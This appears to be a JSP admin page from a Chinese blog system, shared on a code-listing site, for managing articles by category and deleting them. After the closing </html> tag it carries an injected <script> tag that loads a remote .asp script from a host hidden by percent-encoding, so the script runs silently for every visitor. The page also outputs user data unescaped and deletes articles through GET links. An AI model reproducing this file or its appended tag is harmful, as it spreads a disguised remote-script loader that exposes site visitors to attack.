adminarticle.jsp
来自「本博客系统是在J2EE平台上用Hibernate框架技术和MVC模式构建」· JSP 代码 · 共 133 行
JSP
133 行
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<%@ page import="com.blog.tableclass.*"%>
<%@ page import="com.blog.*"%>
<%@ page import="java.util.*"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<%
Blog blog = (Blog)session.getAttribute(Constants.LOGIN_USER_KEY);
List sortList=(List)session.getAttribute(Constants.SORT_LIST_KEY);
Sort sort =null;
%>
<html>
<head>
<title>文章管理</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="StyleSheet" type="text/css" href="../images/style.css">
<base target="contents">
</head>
<body>
<table width="85%" height="207" align="center">
<tr>
<td width="750" height="125" background="../images/head004.gif"><FONT face="宋体"></FONT></td>
</tr>
<tr height="31">
<td>
<table border="0" cellpadding="0" cellspacing="0" background="../images/line.jpg">
<tr height="20" align="center">
<td class="lt0" width="590"></td>
<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/topBlog.jsp">博客排行榜</a></td>
<td class="ltsep">|</td>
<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/index.jsp">博客首页</a></td>
<td class="ltsep">|</td>
<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/include/search.jsp">搜索</a></td>
<td class="ltsep">|</td>
<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="../logout">退出登录</a></td>
</tr>
</table>
</td>
</tr>
</table>
<script language="javascript">
<!--
function mhEnter()
{
window.event.srcElement.className="lt1";
}
function mhLeave()
{
window.event.srcElement.className="lt0";
}
//-->
</script>
<table align="center" height="45" cellspacing="0" cellpadding="0" width="85%" background="../images/banner3.gif" border="0">
<tbody>
<tr>
<td align="middle" background="../images/banner3.GIF">
<b><font size="2" color="#FF0000"><%=blog.getSubject()%>的Blog,欢迎您!</font></b>
</td>
</tr>
</tbody>
</table>
<TABLE align="center" width="85%" background="../images/bg.GIF">
<tr>
<TD valign="top"><jsp:include page="userLeft.jsp"></jsp:include></TD>
<td valign="top">
<form name="form1" method="GET">
<table border="1" width="550" height="73" bordercolor="#4EA9F1" background="../images/bg.GIF">
<tr>
<td width="74%" valign="top" height="14">
<font color="#FF0000"><b>Blog文章管理</b></font>
</td>
</tr>
<tr>
<td width="74%" valign="top" height="14">
<font color="#FF0000"><b>文章分类:</b></font>
<%
for (int i=0;i<sortList.size();i++){
sort = (Sort)sortList.get(i);
%>
<a href="../usersArticle?sortid=<%=sort.getId()%>"><%=sort.getName()%></a>
<%}%>
</td>
</tr>
<tr>
<td width="74%" valign="top" height="13">
<font color="#FF0000">
<table border="1" width="100%" bordercolor="#4EA9F1" align="center">
<tr>
<td width="25%" align="center">
<b>文章名称</b>
</td>
<td width="25%" align="center">
<b>发表时间</b>
</td>
<td width="50%" colspan="2" align="center">
<b>操作</b>
</td>
</tr>
<%
List articleList = (List)session.getAttribute(Constants.ARTICLE_LIST_KEY);
Article article = null;
for (int i=0;i<articleList.size();i++){
article = (Article)articleList.get(i);
%>
<tr>
<td width="25%" align="center">
<%=article.getTitle()%>
</td>
<td width="25%" align="center">
<%=article.getPubtime()%>
</td>
<td width="50%" colspan="2" align="center">
<a href="../deleteArticle?articleid=<%=article.getId()%>" onClick="return(confirm('確定刪除?'))">删除</a>.
</td>
</tr>
<%}%>
</table> <b></b></font>
</td>
</tr>
</table>
</form>
</td>
</tr>
</TABLE>
</body>
</html>
<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?